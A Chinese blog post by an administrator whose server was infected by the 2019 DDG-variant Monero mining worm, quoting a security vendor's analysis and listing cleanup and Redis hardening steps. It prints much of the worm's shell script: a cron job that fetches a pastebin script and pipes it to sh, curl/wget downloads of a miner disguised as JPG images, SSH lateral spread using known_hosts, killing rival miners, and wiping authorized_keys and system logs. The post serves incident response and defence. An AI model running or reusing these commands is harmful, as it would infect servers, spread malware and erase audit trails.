服务器被挖矿怎么办?(2019年2月21日 Linux下DDG变种挖矿病毒在全国范围内大规模爆发)

qinzhiqiang 12-10 10:56 757次浏览

前几天,我的服务器ps命令和sh等多个命令不起作用,引起了我的注意,阿里云一直提示cpu过载,而且一直警告我6379端口被攻击,我一直没当回事,ps、top 命令好像被篡改了,明明 cpu 很高,但就是找不到高 cpu 的进程。病毒目录程序也没找到于是提交工单后踩知道服务器中了病毒。

病毒事件介绍

2019年2月21日 Linux下DDG变种挖矿病毒在全国范围内大规模爆发,默安科技应急响应中心经过对样本分析发现,该病毒变种通过Redis未授权访问漏洞进行突破植入,然后使用本地密钥登录.ssh/known_hosts文件中的服务器进行横向传播,造成大量服务器负载增高,无法正常提供业务。

病毒执行的恶意脚本通过以下地址进行储存和更新:

恶意病毒特征如下:

恶意文件列表

使用LD_PRELOAD进行劫持

/etc/ld.so.preload

/usr/local/lib/libioset.so

恶意二进制文件

/tmp/watchdogs

/usr/sbin/watchdogs

/tmp/ksoftirqds

计划任务脚本

/etc/cron.d/tomcat

/etc/cron.d/root

/var/spool/cron/root

/var/spool/cron/crontabs/root

/etc/rc.d/init.d/watchdogs

病毒脚本分析如下:

每15分钟从pastebin上下载经过base64编码的该脚本自身并执行:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

关闭其他可能存在的挖矿木马:

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

通过chattr指令锁定系统权限,关闭资源占用较高的服务:

chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
 ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

杀掉一些DDoS进程:

if [ -e "/tmp/gates.lod" ]; then
 rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
 kill -9 $(cat /tmp/gates.lod)
 rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
 kill -9 $(cat /tmp/moni.lod)
 rm -rf /tmp/{gates,moni}.lod
fi

根据内核版本下载病毒程序并执行:

if [ ! -f "/tmp/.lsdpid" ]; then
 ARCH=$(uname -m)
 if [ ${ARCH}x = "x86_64x" ]; then
 (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 elif [ ${ARCH}x = "i686x" ]; then
 (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 else
 (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 fi
 nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
 ARCH=$(uname -m)
 if [ ${ARCH}x = "x86_64x" ]; then
 (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 elif [ ${ARCH}x = "i686x" ]; then
 (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 else
 (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
 fi
 nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

通过读取.ssh目录下known_hosts中的服务器地址,尝试使用密钥登录后横向传播:

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
 for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChec
king=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

该DDG变种病毒行为总结:

1、通过扫描发现存在Redis未授权服务漏洞的服务器进行感染。

2、每15分钟从pastebin上下载经过base64编码的该脚本自身并执行。

3、关闭其他可能存在的挖矿及DDoS木马,通过chattr指令锁定系统权限,关闭资源占用较高的服务。

4、下载伪装成图片的加有UPX壳的门罗币挖矿木马,设置为开机启动并在后台运行。

5、通过读取.ssh目录下known_hosts中的服务器地址,使用密钥登录后下载执行病毒的方式进行横向传播。

6、通过对ifconfig、ls、ps、rm、chkconfig等一系列命令进行so劫持,致使大量系统指令失效命令。劫持后执行这些命令还会该病毒还会调用自身相关代码进行写cron文件进行病毒的保持。

7、通过libioset.so对常见系统函数(如readdir, access函数)进行过滤,隐藏恶意文件及进程,使用ls、ps等命令无法看到和删除恶意进程及相关文件。

3

病毒处置方法

1)默安科技已针对病毒开发自动化清理脚本,脚本地址:

2)如无业务必要,修改Redis只监听127.0.0.1,并为Redis设置认证密码。编辑Redis配置文件/etc/redis.conf以下行保存后使用service redis restart重启Redis服务:

bind 127.0.0.1 #配置只监听本地回环地址127.0.0.1

requirepass xxx #去掉行前注释,修改密码为所需的密码

3)建议使用默安科技哨兵云对全网服务器进行排查Redis未授权访问漏洞并进行安全加固,从源头上避免感染病毒。

4)紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

5)不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

4

FAQ

## 为什么无法删除文件和kill进程?

蠕虫通过ld.so.preload使用libioset.so对常见系统函数(如:readdir、access函数)进行过滤,当返回结果中包含恶意文件和进程时,会主动过滤和隐藏相关结果,使用ls、ps等命令无法看到恶意进程文件。

## 如何清理?

上传busybox到/bin/目录下,使用busybox清理文件。

## 为什么busybox可以清理文件?

busybox不依赖于系统的动态库,不受ld.so.preload劫持,能够正常操作文件

我自己解决方案如下

1. 涉及到的问题进程名称为: ksoftirqds, watchdogs,杀死这两个进程; //从阿里云进程监控看到的。

2. 屏蔽 thyrsi.com, pastebin.com, minerxmr.ru 三个域名;

3. 使用 @mingxulin 的命令,清空锁定 crontab, 防止再次被修改;

4. 去掉 watchdogs 的开机启动; //chkconfig –del watchdogs , 最好也检查下所有开机启动方式的设定。

3. 删除 watchdogs 文件: /etc/init.d 和 /usr/sbin/ 下面的 watchdogs 文件;

4. 删除 /etc/ld.so.preload 的内容; // 直接看不到这个文件, 直接 vi 这个文件,dd 删除内容,wq!强制保存退出,是可以删除内容的。

5. 删除 /usr/local/lib/libioset.so 文件; //步骤 4 完毕后,就可以进行步骤 5;

6. 重启主机,解除 crontab 锁定,观察一段时间。 // 如果 sh 命令还是处于感染状态,那么自己 找个 正常的 替换 。

参考文章:https://mp.weixin.qq.com/s/3V0HVEREZWU8SkRWLspa

  • 暂无推荐